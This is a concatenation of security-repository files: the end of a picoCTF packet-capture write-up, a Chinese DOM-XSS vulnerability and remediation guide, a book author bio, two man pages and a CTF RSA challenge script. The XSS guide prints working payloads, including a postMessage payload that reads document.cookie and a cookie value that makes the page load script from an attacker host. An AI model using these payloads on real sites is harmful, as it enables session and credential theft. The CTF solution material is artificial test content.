AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ffffffffffffffffffffffffffffffffffffffff _ 36 } zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa start aaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaa aaaaa aaaaa aaaaa aaaaa aaaaa aaaaa aaaaaaaaaa aaaaaaaaaa aaaaa aaaaaaaaaaaaaaa aaaaa aaaaaaaaaa aaaaaaaaaaaaaaa aaaaaaaaaaaaaaa bbb aaaaaaaaaa aaaaa BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB aaaaa aaaaa aaaaa aaaaa end aaaaaaaaaa aaaaa aaaaaaaaaa aaaaa aaaaa ``` Let's take a closer look at these two message: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_2# tshark -nr capture.pcap -Y 'frame contains "start"' Running as user "root" and group "root". This could be dangerous. 1104 991.587437 10.0.0.66 → 10.0.0.1 UDP 60 5000 → 22 Len=5 5000 22 root@kali:/media/sf_CTFs/pico/shark_on_wire_2# tshark -nr capture.pcap -Y 'frame contains "end"' Running as user "root" and group "root". This could be dangerous. 1303 1171.059146 10.0.0.80 → 10.0.0.1 UDP 60 5000 → 22 Len=3 5000 22 ``` The similar attributes are that they were both sent to 10.0.0.1, the source port is 5000 and the destination port is 22. Filtering according to source and destination port, we only get these two messages: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_2# tshark -nr capture.pcap -Y 'udp.srcport == 5000 && udp.dstport == 22' Running as user "root" and group "root". This could be dangerous. 1104 991.587437 10.0.0.66 → 10.0.0.1 UDP 60 5000 → 22 Len=5 5000 22 1303 1171.059146 10.0.0.80 → 10.0.0.1 UDP 60 5000 → 22 Len=3 5000 22 ``` However filtering just according to the destination port, we get a list of messages between the start and the end: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_2# tshark -nr capture.pcap -Y 'udp.dstport == 22' Running as user "root" and group "root". This could be dangerous. 1104 991.587437 10.0.0.66 → 10.0.0.1 UDP 60 5000 → 22 Len=5 5000 22 1106 993.672341 10.0.0.66 → 10.0.0.1 UDP 60 5112 → 22 Len=5 5112 22 1118 1006.227400 10.0.0.66 → 10.0.0.1 UDP 60 5105 → 22 Len=5 5105 22 1122 1008.323546 10.0.0.66 → 10.0.0.1 UDP 60 5099 → 22 Len=5 5099 22 1124 1010.428768 10.0.0.66 → 10.0.0.1 UDP 60 5111 → 22 Len=5 5111 22 1129 1012.535515 10.0.0.66 → 10.0.0.1 UDP 60 5067 → 22 Len=5 5067 22 1131 1014.627130 10.0.0.66 → 10.0.0.1 UDP 60 5084 → 22 Len=5 5084 22 1133 1016.719657 10.0.0.66 → 10.0.0.1 UDP 60 5070 → 22 Len=5 5070 22 1135 1018.807279 10.0.0.66 → 10.0.0.1 UDP 60 5123 → 22 Len=5 5123 22 1137 1020.899193 10.0.0.66 → 10.0.0.1 UDP 60 5112 → 22 Len=5 5112 22 1139 1022.991480 10.0.0.66 → 10.0.0.1 UDP 60 5049 → 22 Len=5 5049 22 1141 1025.083748 10.0.0.66 → 10.0.0.1 UDP 60 5076 → 22 Len=5 5076 22 1143 1027.167730 10.0.0.66 → 10.0.0.1 UDP 60 5076 → 22 Len=5 5076 22 1145 1029.255106 10.0.0.66 → 10.0.0.1 UDP 60 5102 → 22 Len=5 5102 22 1147 1031.334799 10.0.0.66 → 10.0.0.1 UDP 60 5051 → 22 Len=5 5051 22 1162 1043.850969 10.0.0.66 → 10.0.0.1 UDP 60 5114 → 22 Len=5 5114 22 1164 1045.934960 10.0.0.66 → 10.0.0.1 UDP 60 5051 → 22 Len=5 5051 22 1166 1048.019181 10.0.0.66 → 10.0.0.1 UDP 60 5100 → 22 Len=5 5100 22 1172 1054.255069 10.0.0.66 → 10.0.0.1 UDP 60 5095 → 22 Len=5 5095 22 1178 1060.507360 10.0.0.66 → 10.0.0.1 UDP 60 5100 → 22 Len=5 5100 22 1180 1062.619741 10.0.0.66 → 10.0.0.1 UDP 60 5097 → 22 Len=5 5097 22 1187 1066.779955 10.0.0.66 → 10.0.0.1 UDP 60 5116 → 22 Len=5 5116 22 1189 1068.867478 10.0.0.66 → 10.0.0.1 UDP 60 5097 → 22 Len=5 5097 22 1192 1070.959143 10.0.0.66 → 10.0.0.1 UDP 60 5095 → 22 Len=5 5095 22 1196 1073.043525 10.0.0.66 → 10.0.0.1 UDP 60 5118 → 22 Len=5 5118 22 1199 1075.127069 10.0.0.66 → 10.0.0.1 UDP 60 5049 → 22 Len=5 5049 22 1267 1139.786992 10.0.0.66 → 10.0.0.1 UDP 60 5097 → 22 Len=5 5097 22 1272 1141.870974 10.0.0.66 → 10.0.0.1 UDP 60 5095 → 22 Len=5 5095 22 1274 1143.955404 10.0.0.66 → 10.0.0.1 UDP 60 5115 → 22 Len=5 5115 22 1276 1146.043247 10.0.0.66 → 10.0.0.1 UDP 60 5116 → 22 Len=5 5116 22 1284 1154.383039 10.0.0.66 → 10.0.0.1 UDP 60 5051 → 22 Len=5 5051 22 1286 1156.475039 10.0.0.66 → 10.0.0.1 UDP 60 5103 → 22 Len=5 5103 22 1296 1166.882937 10.0.0.66 → 10.0.0.1 UDP 60 5048 → 22 Len=5 5048 22 1301 1168.975486 10.0.0.66 → 10.0.0.1 UDP 60 5125 → 22 Len=5 5125 22 1303 1171.059146 10.0.0.80 → 10.0.0.1 UDP 60 5000 → 22 Len=3 5000 22 ``` We can see that the second message originates from source port 5112. 112 is a number which should alert us, since its ASCII representation is `p`, which matches the flag template. So, we can try to translate the source ports to ASCII using the following script: ```python from scapy.all import * flag = "" packets = rdpcap('capture.pcap') for packet in packets: if UDP in packet and packet[UDP].dport == 22: flag += chr(packet[UDP].sport - 5000) print flag ``` Output: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_2# python solve.py picoCTF{p1LLf3r3d_data_v1a_st3g0} ```
sec-knowleage
原始文档 By martin zhou(周雨阳) 编辑:s1mba ## 0x00 背景 DOM-Based XSS是一种基于文档对象模型(Document Object Model,DOM)的Web前端漏洞,简单来说就是JavaScript代码缺陷造成的漏洞。与普通XSS不同的是,DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显,这使我们无法通过特征匹配来检测DOM XSS,给自动化漏洞检测带来了挑战。 本文将总结高发DOM XSS的业务场景,给出缺陷代码实例,并详述漏洞产生原因,最后分类给出有效彻底的防护过滤手段。 ## 0x01 DOM XSS高发场景透视及修复技巧 ### 一、 在前端实现页面跳转 在很多场景下,业务需要实现页面跳转,常见的实现方式一般有三种,第一种是在后端设置302跳转Header或通过函数接收参数实现跳转,第二种是使用Meta标签实现跳转,最后一种是通过JavaScript实现跳转。不少Web前端工程师对最后一种跳转的方式情有独钟,最常用到的方法有: location.href / location.replace() / location.assign()。 也许提到页面跳转业务场景下的安全问题,你首先会想到限制不严导致任意URL跳转,而DOM-XSS与此似乎没啥关系。但有一种神奇的东西叫“伪协议”,比如:“javascript:”、“vbscript:”、“data:”、“tencent:”、“mobileqqapi:”等,其中 “javascript:”、“vbscript:”、“data:”在浏览器下可以执行脚本: ![domxss_4](../pictures/domxss_4.png) (图:使用“javascript:”伪协议在页面内执行脚本) 最为要命的是,使用这些伪协议执行的JavaScript代码的上下文(context)就是当前页面,也就相当于在页面内注入了一段恶意JavaScript代码。至此,攻击者也就能实施攻击了。 经过前几年DOM-XSS狂轰滥炸式的“洗礼”,Web前端工程处理起相关跳转代码逻辑来,也个个都是有经验的“老司机”了。直接从各种来源取跳转目标URL,然后通过上面提到的三个JavaScript实现跳转的方式,已销声匿迹。 你以为这样就结束了?之前提到,由于JavaScript是一种客户端脚本语言,如果说Web后端代码有一层“窗户纸”护着的话,那位于Web前端的JavaScript代码基本就是在裸奔。所以,以下若干种过滤对抗手段,一下子就会眼尖的攻击者绕过,并继续大摇大摆的构造攻击: 常见缺陷1:使用indexOf判断URL参数是否合法 示例缺陷代码: ``` javascript function emptyFn(){} function init(){ var jump = getQueryString('jump'); jump = decodeURIComponent(jump); if (jump && jump.indexOf("tmast://") > -1) { jump = jump; } else { jump = "tmast://found"; } setTimeout(function(){ window.JSBReady(function(readyState) { if (readyState) { jsb('closeWebView',0,'emptyFn',{}); } }); },1000); location.href=jump; } init(); ``` JavaScript相关规范中指出,indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。该方法将从头到尾地检索字符串 stringObject,看它是否含有子串 searchvalue。 也就是如果传入的URL中带有indexOf的关键词,那indexOf方法将直接返回true。拿上面的缺陷代码为例,只要攻击传入的URL中带有`tmast://`,indexOf将直接返回true,并进入跳转逻辑。所以攻击者只要构造 `javascript:alert(1);//tmast://` 即可完成攻击,又因为`tmast://`位于JavaScript代码的注释部分,所以JavaScript代码运行时会直接忽略,但indexOf却认为URL中存在`tmast://`直接放行。 常见缺陷2:正则表达式缺陷 示例缺陷代码 [1]: ``` javascript function VaildURL(sUrl) { return (/(https?:\/\/)?[\w\-.]+\.(qq|paipai|soso|taotao)\.com($|\/|\\)/i).test(sUrl)|| (/^[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/^[\/\\][^\/\\]/i).test(sUrl) ? true : false; } ``` 示例缺陷代码 [2]: ``` javascript if(typeof(pgvMain) == 'function') { pgvMain(); } var durl = window.location.search.substr(6); var refer = document.referrer; if(/house.qq.com/.test(refer) || refer == ''){ setTimeout(function(){ window.location.replace(durl); }, 2000); } ``` 聪明的Web前端工程师,当然知道indexOf下潜藏的“深坑”,所以祭出了神器“正则表达式”。但不曾想“阴沟翻船”,有对URL进行了严格限制的意识,比如跳转页面只能是qq.com/paipai.com,认为这样就可以解决DOM-XSS和URL跳转的问题,但忘了一个神奇的符号 `^`,加上和不加上,过滤的效果具有天壤之别。攻击者仍然可以构造 `javascript:alert(1);//http://www.qq.com`来绕过看似严格的过滤。 修复技巧 ``` javascript function VaildURL(sUrl) { return (/^(https?:\/\/)?[\w\-.]+\.(qq|paipai|soso|taotao)\.com($|\/|\\)/i).test(sUrl)|| (/^[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/^[\/\\][^\/\\]/i).test(sUrl) ? true : false; } ``` 在前端实现页面跳转业务场景下,正确的过滤实现方法是,严格限制跳转范围。一方面要限制能够跳转页面的协议,只能是http、https或是其他指可控协议;另一方面,要严格限制跳转的范围,如果业务只要跳转到指定的几个页面,可以直接从数组中取值判断是否这几个页面,如果跳转范围稍大,使用正则表达式将跳转URL限制到可控范围内。 ### 二、 取值写入页面或动态执行 除接收URL参数经后端处理最后在前端展示外,在Web前端通过JavaScript获取不同来源的参数值,不经后端处理即刻在Web页面进行展示或动态执行的业务场景也十分常见,虽然通过此方法,优化了用户的浏览体验,但也带来了满满的安全风险。 想要在客户端实现接受参数并写入页面或动态执行,就不得不用到JavaScript“三姐妹”,她们分别是:`innerHTML`、`document.write`、`eval`。“三姐妹”具有强大的功能的同时,不经意间也成了DOM-XSS攻击的导火索。因为JavaScript取值的来源纷繁复杂,如:`Parameter`、`Cookies`、`Referer`、`Window.name`、`SessionStorage`等,工程师稍有不慎忘记做转义处理,或过分相信取值来源的数据,直接将分离出的参数值交给JavaScript“三姐妹”处理,就有可能招来DOM-XSS。接下来,将按不同数据源,详述每种业务场景下易造成DOM-XSS的代码缺陷。 常见缺陷1:从URL中的取参数值写入页面或动态执行 示例缺陷代码[1]: ``` javascript function getParameter(name){ var r = new RegExp("(\\?|#|&)" + name + "=([^&#]*)(&|#|$)"), m = location.href.match(r); return (!m ? "" : m[2]); } addEvent(window, "load", init); function init(){ var msg=getParameter("msg"); if(msg=="")msg="服务器忙,请您稍候再试" else msg=unescape(msg); var div=document.getElementById("info"); if(div) div.innerHTML=msg; } ``` 粗心的工程师直接从URL的锚参数(即位于#后面的参数)中取值,不经过任何处理直接innerHTML写入页面,导致攻击者只需要构造如下URL即可完成一次DOM-XSS攻击: `http://xxx.com/xxx.htm#msg=<img/src=x onerror=alert(1)>` 由于整个攻击过程在客户端侧完成,不需要向服务器发送任何请求数据,所以即便业务接入了waf防御系统,这类DOM-XSS也无法被感知,攻击者便可畅通无阻的利用漏洞对用户开展攻击。 示例缺陷代码[2]: ``` javascript function initUI(name) { var name = name || ""; $("#name").html("《"+name+"》"); ``` 当然,不只是innerHTML一种方法,只要传入的参数值没有做任何处理,并进入到JavaScript“三姐妹”类似的函数中,就会产生DOM-XSS漏洞。就比如在此案例下,页面内引入了jQuery库,JavaScript的initUI函数直接将获取到的未经过滤的name参数,通过`$().html()`的方式写入了页面,进而可以被攻击者利用,进行基于DOM-XSS漏洞的攻击。 常见缺陷2:从Cookie中的取参数值写入页面或动态执行 示例缺陷代码[1]: ``` javascript function goto_adtag_url(url, type) { var userInfo = getCookie(COOKIE_USERINFO); userInfo = decodeURIComponent(userInfo); if (userInfo != '') { userInfo = userInfo.replace(/</g, '\\<'); userInfo = userInfo.replace(/>/g, '\\>'); userInfo = eval('(' + userInfo + ')'); } } ``` 示例缺陷代码[2]: ``` javascript function getISP(){var _ptisp = getCookie("ptisp"); var isp = _ptisp ? (_ptisp + ".") : ""; return isp; } window.isp = getISP(); window.mainPath = "http://" + window.isp + "qzs.qq.com"; window.filePath = "http://" + window.isp + "i.gtimg.cn"; ``` 依据相关规范,在浏览器中不同域下的Cookie有隔离措施,即在google.com下是不能向qq.com下设置cookie的,可以说cookie这个来源相对来说较为可靠。但万事总是不是绝对的,由于过分相信cookie这个来源,除了直接从cookie中取值作为判断用户身份的依据造成任意用户账户登录的的高危逻辑缺陷外,不安全的cookie操作方式也产生了大量的DOM-XSS。 示例缺陷代码[1],直接从cookie中取值写入页面或动态执行,原理基本同从URL中的取参数值写入页面或动态执行,只是换了一个取值来源而已,相信各位已经有了大概了解。但同时我们注意到,还有一种较为特殊的业务场景,同示例缺陷代码[2]:取cookie键值,动态拼接要页面引入前端资源的URL。在此场景下,工程师已经对HTML常见的特殊字符做了过滤,是不是就安全了呢?并不。一般情况下,进行转义的HTML的特殊字符如下: ![domxss_5e](../pictures/domxss_5.png) 在上面这个案例中,如果window.isp取到的值为 `www.attacker.com/`,最终拼接出来的静态资源URL路径为:`http://www.attacker.com/qzs.qq.com`,因为`.`和`/`都不在转义范围内,导致攻击者可以向页面引入自己站点下的恶意js文件,进而实施DOM-XSS攻击。 常见缺陷3:从localStorage、Referer、Window name、SessionStorage中的取参数值写入页面或动态执行 示例缺陷代码: ``` javascript var payload = window.name; setTimeout(function() { trigger(window.name); }, 1); var div = document.createElement('div'); document.documentElement.appendChild(div); div.innerHTML = payload; function trigger(payload) { div.innerHTML = payload; }; ``` 从localStorage、Referer、Window name、SessionStorage数据源中取数据,也时常是栽跟头的高发地。上面这段示例代码中,就首先取window.name的值,最后直接innerHTML到页面中。一般情况下,页面的window.name攻击者不可控,故往往会被认为来源相对可信。但借助iframe的name属性,攻击者可以将页面的window.name设置为攻击代码,仍然可以通过下面这段Payload,构造DOM-XSS: `<iframe src='http://localhost/domxss_47/index.php' name='<svg/onload=alert(1)>'></iframe>` 修复技巧 * 写入页面前先转义。在取值写入页面或动态执行的业务场景下,在将各种来源获取到的参数值传入JavaScript“三姐妹”函数(innerHTML、document.write、eval)处理前,对传入数据中的HTML特殊字符进行转义处理能防止大部分DOM-XSS的产生。此外,根据不同业务的真实情况,还应使用正则表达式,针对传入的数据做更严格的过滤限制,才能保证万无一失。 ``` javascript function htmlEscape(str) { return str .replace(/&/g, '&amp;') .replace(/"/g, '&quot;') .replace(/'/g, '&#39;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;'); } Value = htmlEscape(value); div.innerHTML = value; ``` * 慎用危险的“eval”。需要强调的是,由于JavaScript中的eval函数十分灵活,能够支持执行的字符串编码纷繁复杂。强烈建议,不到万不得已,不要使用eval函数处理不可控的外部数据。 ``` html <script>eval(unescape("%64%6f...."));</script> 在JavaScript 中可以直接通过eval 执行的字符串有八进制和十六进制 两种编码方式 <script>eval("\141\154\145\162\164\50\47\u4f60\u597d\47\51");</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x27\u4f60\u597d\x27\x29");</script> 另外,虽然十进制不能直接通过 eval 来执行,但可以用 String.fromCharCode 函数先对数值进行解码,然后传递给 eval 执行 <script>eval(String.fromCharCode(97, 108, 101, ...));</script> ``` ### 三、 使用HTML5 postMessage进行跨域通讯 示例缺陷代码: ``` html <div id="message"></div> <script> window.addEventListener('message', writeMessage, false); function writeMessage(event) { document.getElementById("message").innerHTML = event.data; } </script> ``` HTML5引入的postMessage()方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。其本意是方便Web前端开发者实现跨域通讯,由于浏览器遵循同源策略(Same Origin Policy),所以如下跨域向页面写入内容的操作将会被阻断: ``` html <iframe src="http://site-b.net/" name="siteb"></iframe> <script> document.getElementsByName('siteb')[0].onload = function() { frames[0].getElementById("message").innerHTML = "Hello World."; } </script> ``` 但借助postMessage()方法,Web前端开发者就能实现跨域从site-a.net向site-b.net下页面写入内容。然而,开发者享受便利的同时,也却往往疏忽大意,忘记对postMessage的来源event.origin进行限制,导致任意域名下的页面只要通过如下代码,就可以与存在缺陷的页面进行跨域交互通讯,也再次落入DOM-XSS的深坑: ``` html <iframe name="siteb" src="http://site-b.net"></iframe> <button onclick="frames[0].postMessage('<img src=x onerror=alert(document.cookie)','*')"> Send Attack</button> ``` 修复技巧: ``` javascript window.addEventListener('message', writeMessage, false); function writeMessage(event) { if (event.origin == "http://site-a.com") { document.getElementById("message").innerHTML = event.data; } else { return; } } ``` 修复此类漏洞的方法简单直接,只要在页面进行innerHTML操作前做一次even.origin的判断。当然,在innerHTML前,将event.data的数据进行一次HTML特殊字符转义,将会锦上添花,确保万无一失。 这里是使用innerHTML 将data 写入页面,还有比如 使用 eval('var _str_json='+data); 达到 str2json 的效果,也是存在问题的。 在查找此类漏洞时,可以chrome F12 看Element tab 右边的 Event Listeners 看是否有监听message 的事件,进一步追溯。 ### 四、使用存在缺陷的第三方库或通用组件 常见缺陷1:jQuery低版本(1.9.0以下)存在DOMXSS漏洞可导致用户身份被盗用 ![domxss_6](../pictures/domxss_6.png) (图:漏洞利用代码传入$()函数执行可触发漏洞) jQuery 是一个非常流行的JavaScript 库,但低版本的jQeury存在设计缺陷,导致引入低版本的jQuery文件之后,若对用户传入的参数值没有进行处理即传入$()函数中执行,且参数值中存在html标签,即$(‘`<img src=x onerror=alert()>`’),jQuery会自动生成该html标签并加载在页面中,可导致DOMXSS漏洞。 ## 0x02 DOM-XSS通用编码方法 在"$var" 输出到&lt;script&gt; 时,应该执行一次 javascriptEncode(\xXX, \uUUUU);其次,在document.write 输出到页面 html 页面时,要分具体情况对待:如果是输出到事件或者脚本,则要再做一次 javascriptEncode;如果是输出到 html 内容或者属性,则要再做一次 HtmlEncode。 如下情况属于后者,即 htmlencode(jsencode($var)) ``` html <script> var x = "$var"; document.write("<a href='"+x+"' >test</a>"); </script> ``` ## 0x03 测试tips 分享 1)、只有使用合规的完整闭合的HTML区块对每个innerHTML节点进行赋值,因为这样才不会改变被重写段落之外的文档层级结构。如果格式不对,在重写发生之前输入的数据会先按照规定的语法进行强制转换。即通过DOM操作HTML时,可以使用`<script>alert(/xss/)`来代替`<script>alert(/xss/)</script>`,因为DOM会自动补全。 2)、innerHTML只能使用类似 `<img src=1onerror=alert(1)>`这种方式来触发JS。而不能以`<script>alert(1)</script>`来触发,因为这种压根不会执行`<script>..</script>`之间的内容。 3)、不论怎么样,因为最终javascript都会通过document.write或innerHTML将内容输出到网页中,所以我们总是有办法看到输出到哪里,要么直接 inspect dom element,要么直接看 js 源码中哪里调用了 url 的 key Value。 4)、有时候我们的输出,最终并没有流向innerHTML或document.write,而是与eval发生了邂逅,搜索源代码和调试工具都看不到任何东西,这时可以在请求后面跟一些特殊符号如 `\`, `"`, `'` 等,看 console 报什么错误,点击定位到具体 出错的 js 代码,进一步观察。 5)、有时候,输出还会出现在 `<iframe src="[输出]"></iframe>` 。 iframe 的 src属性本来应该是一个网址,但是iframe之善变,使得它同样可以执行javascript,而且可以用不同的方式法来执行。iframe payload 变形如下: ``` html 1.1 最好懂的,onload执行js <iframe onload="alert(1)"></iframe> 1.2 src 执行javascript代码 <iframe src="javascript:alert(1)"></iframe> 1.3 IE下vbscript执行代码,vbscript里 ' 单引号表示注释,类似JS里的// <iframe src="vbscript:msgbox(1)"></iframe> 1.4 Chrome下data协议执行代码 <iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome 1.5 上面的变体 <iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe> 1.6 Chrome下srcdoc属性 <iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe> ``` 6)、jsonp。`<script src="http://otherdomain.com/xx?callback=aa&id="+id></script>` 假如 id 参数可以由我们 的 A 请求输入的参数 b 传递进来,且js在取参数时有urldecode的操作,那么我们可以传递 `id=%26callback=alert(1)`,这样请求的 是 `http://otherdomain.com/xx?callback=aa&id=&callback=alert(1)`, 即callback 的定义被覆盖掉。 7)、自动化扫描方面,可以直接带入 payload访问,借助 qtwebkit 引擎解析 dom 树,看解析完成的页面中是否含有 payload 中希望写入的特定标签字符串,注意先把不需要人工触发的 js 执行完,每次触发一些功能(如加关注等),就要判断一次渲染后的页面是否多出一些可疑标签。 ## Reference [驱散前端安全梦魇——DOMXSS典型场景分析与修复指南](https://security.tencent.com/index.php/blog/msg/107)
sec-knowleage
# 关于作者 > 译者:[@Snowming](https://github.com/Snowming04) ![](../images/introduction/author.PNG)<br> 作者 Peter Kim 从事信息安全行业超过14年,在渗透测试/红队领域工作超过12年。 他曾服务于多家公用事业公司、财富1000娱乐公司、政府机构以及大型金融机构。虽然他最为知名的是<The Hacker Playbook>一书系列,但他却热衷于建立一个“安全”的安全社区,指导学生并培训他人。他创立并维护着南加州最大的一家技术安全俱乐部“LETHAL”(www.meetup.com/LETHAL ),并在他的网站 LETHAL Security(lethalsecurity.com)进行私人培训,同时他还经营一家渗透测试公司,名为Secure Planet(www.SecurePla.net)。 Peter 在他的《The Hacker Playbook》系列的主要目标是向读者灌输激情,让他们跳出思维定式。随着安全环境不断变化,他希望帮助下一代人建立专业的安全知识和素养。 如有以下任何一种情况,请随时联系 Peter Kim: - 关于这本书的问题:book@thehackerplaybook.com - 有关私人培训或渗透测试的咨询:secure@securepla.net - Twitter:@hackerplaybook
sec-knowleage
.TH ACCESS 1 "4 January 1998" "Kpathsea 3.3.1" .\"===================================================================== .if n .ds MP MetaPost .if t .ds MP MetaPost .if n .ds MF Metafont .if t .ds MF M\s-2ETAFONT\s0 .if t .ds TX \fRT\\h'-0.1667m'\\v'0.20v'E\\v'-0.20v'\\h'-0.125m'X\fP .if n .ds TX TeX .ie t .ds OX \fIT\v'+0.25m'E\v'-0.25m'X\fP\" for troff .el .ds OX TeX\" for nroff .\" the same but obliqued .\" BX definition must follow TX so BX can use TX .if t .ds BX \fRB\s-2IB\s0\fP\*(TX .if n .ds BX BibTeX .\" LX definition must follow TX so LX can use TX .if t .ds LX \fRL\\h'-0.36m'\\v'-0.15v'\s-2A\s0\\h'-0.15m'\\v'0.15v'\fP\*(TX .if n .ds LX LaTeX .\"===================================================================== .SH NAME(名称) access \- 确定文件是否可以存取访问 .SH SYNOPSIS(总览) .B access .I -mode .I file .\"===================================================================== .SH DESCRIPTION (描述) 如果 .I file 可以在特定模式下存取访问,那么成功退出. .I mode 为 .IR rwx 中的一个或多个字符, 这里的 .I r 表示可读, .I w 表示可写,而 .I x 表示可执行. .PP .B access 和 .B test 之间的区别在于 后者查看权限位,而前者使用 .BR access (2) 系统调用进行检查.当文件系统以只读方式被挂载时,两者就有区别了. .\"===================================================================== .SH OPTIONS(选项) .B access 接受以下附加的选项: .TP .B --help 打印帮助信息并退出. .TP .B --version 打印版本信息并退出. .\"===================================================================== .SH "SEE ALSO"(另见) .BR access (2) .SH "[中文版维护人]" .B riser <email> .SH "[中文版最新更新]" .BR 2003.11.22 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
.\" Man page contributed by Dirk Eddelbuettel <edd@debian.org> .\" and released under the GNU GPL .TH OCTAVE-CONFIG 1 "19 February 2003" "GNU Octave" .SH NAME octave-config - 检索 GNU Octave 组件和库信息 .SH "SYNOPSIS 总览" .B octave-config .B [--m-site-dir] .B [--oct-site-dir] .B [-v|--version] .B [-h|-?|--help] .SH "DESCRIPTION 描述" .PP \fIoctave-config\fP 是用于为 .BR octave (1) 获取 .oct 和 .m 文件的目录信息的工具。 .SH "OPTIONS 选项" \fIoctave-config\fP 接受下列选项: .TP 8 .B \--m-site-dir 显示本地的或 site-specific 的,.m 脚本文件所在的主目录。 .TP 8 .B \--oct-site-dir 显示本地的或 site-specific 的,.oct 动态链接库所在的主目录。 .TP 8 .B \-v|\-\-version 显示 .BR octave (1) 的版本信息。 .TP 8 .B \-h|-?|--help 显示 \fIoctave-config\fP 的帮助页面。 .SH AUTHOR John W. Eaton <jwe@bevo.che.wisc.edu> This manual page was contributed by Dirk Eddelbuettel <edd@debian.org> for the Debian GNU/Linux distribution but may be used by others.
sec-knowleage
#!/usr/bin/python import gmpy from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 flag = open('flag', 'r').read() * 30 def ext_rsa_encrypt(p, q, e, msg): m = bytes_to_long(msg) while True: n = p * q try: phi = (p - 1)*(q - 1) d = gmpy.invert(e, phi) pubkey = RSA.construct((long(n), long(e))) key = PKCS1_v1_5.new(pubkey) enc = key.encrypt(msg).encode('base64') return enc except: p = gmpy.next_prime(p**2 + q**2) q = gmpy.next_prime(2*p*q) e = gmpy.next_prime(e**2) p = getPrime(128) q = getPrime(128) n = p*q e = getPrime(64) pubkey = RSA.construct((long(n), long(e))) f = open('pubkey.pem', 'w') f.write(pubkey.exportKey()) g = open('flag.enc', 'w') g.write(ext_rsa_encrypt(p, q, e, flag))
sec-knowleage
